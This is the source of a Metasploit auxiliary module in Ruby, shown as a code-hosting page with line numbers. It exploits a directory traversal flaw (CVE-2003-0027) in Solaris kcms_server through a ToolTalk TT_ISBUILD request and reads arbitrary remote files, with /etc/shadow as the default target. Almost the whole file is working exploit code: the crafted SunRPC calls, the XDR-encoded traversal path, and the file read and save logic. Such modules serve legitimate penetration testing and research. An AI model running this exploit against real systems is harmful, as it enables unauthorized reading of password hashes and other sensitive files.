/
solaris_kcms_readfile.rb
158 lines (135 loc) · 4.66 KB
/
solaris_kcms_readfile.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SunRPC
def initialize
super(
'Name' => 'Solaris KCMS + TTDB Arbitrary File Read',
'Description' => %q{
This module targets a directory traversal vulnerability in the
kcms_server component from the Kodak Color Management System. By
utilizing the ToolTalk Database Server\'s TT_ISBUILD procedure, an
attacker can bypass existing directory traversal validation and
read arbitrary files.
Vulnerable systems include Solaris 2.5 - 9 SPARC and x86. Both
kcms_server and rpc.ttdbserverd must be running on the target
host.
},
'Author' =>
[
'vlad902 <vlad902[at]gmail.com>', # MSF v2 module
'jduck' # Ported to MSF v3
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2003-0027'],
['OSVDB', '8201'],
['BID', '6665'],
['URL', 'http://marc.info/?l=bugtraq&m=104326556329850&w=2']
],
# Tested OK against sol8.tor 20100624 -jjd
'DisclosureDate' => 'Jan 22 2003')
register_options(
[
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'etc/shadow']),
OptString.new('OUTPUTPATH', [ false, "Local path to save the file contents to", nil ])
])
end
def run
# There is a fixed size buffer in use, so make sure we don't exceed it..
# (NOTE: 24 bytes are reserved for traversal string)
path = datastore['PATH']
if (path.length > 1000)
raise RuntimeError, "File name is too long."
end
print_status("Making request to the ToolTalk Database Server...")
# Hopefully one of these works ;)
ttdb_build("/etc/openwin/devdata/profiles/TT_DB/oid_container")
ttdb_build("/etc/openwin/etc/devdata/TT_DB/oid_container")
# If not, we'll find out now ...
print_status("Making open() request to the kcms_server...")
sunrpc_create('tcp', 100221, 1)
sunrpc_authunix('localhost', 0, 0, [])
# Prepare the traversing request for kcms_server
trav = 'TT_DB/' + ('../' * 5) + path
buf = Rex::Encoder::XDR.encode(
[trav, 1024],
0, # O_RDONLY
0755) # mode
# Make the request
ret = sunrpc_call(1003, buf)
ack, fsize, fd = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer)
if (ack != 0)
print_error("KCMS open() failed (ack: 0x%x != 0)" % ack)
if (fsize == 0)
print_status("File does not exist (or host is patched)")
end
return
end
# Nice, open succeeded, show the return data
print_status("fd: #{fd}, file size #{fsize}")
print_status("Making read() request to the kcms_server...")
buf = Rex::Encoder::XDR.encode(
fd,
0,
fsize)
ret = sunrpc_call(1005, buf)
x, data = Rex::Encoder::XDR.decode!(ret, Integer, [Integer])
# If we got something back...
if (data)
data = data.pack('C*')
# Store or display the results
if (datastore['OUTPUTPATH'])
fname = datastore['PATH'].gsub(/[\/\\]/, '_')
outpath = File.join(datastore['OUTPUTPATH'], fname)
print_status("Saving contents to #{outpath} ...")
File.open(outpath, "wb") { |fd|
fd.write(data)
}
else
print_status("File contents:")
print_status(data.inspect)
end
else
print_error("No data returned!")
end
# Close it regardless if it returned anything..
print_status("Making close() request to the kcms_server...")
buf = Rex::Encoder::XDR.encode(fd)
sunrpc_call(1004, buf)
# done
sunrpc_destroy
rescue Timeout::Error, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Rex::Proto::SunRPC::RPCError => e
print_error(e.to_s)
rescue ::Rex::Proto::SunRPC::RPCTimeout
print_warning 'Warning: ' + $!
print_warning 'Exploit may or may not have succeeded.'
end
#
# Send a TT_ISBUILD request to rpc.ttdbserverd
#
def ttdb_build(path)
sunrpc_create('tcp', 100083, 1)
sunrpc_authunix('localhost', 0, 0, [])
msg = Rex::Encoder::XDR.encode(
[path, 1024],
path.length,
1, # KEY (VArray head?)
2,
1,
0, # KEYDESC
2,
1,
# 21 zeros, /KEYDESC, /KEY
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0x10002,
path.length)
ret = sunrpc_call(3, msg)
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)
print_status("TTDB reply: 0x%x, %d" % arr)
sunrpc_destroy
end
end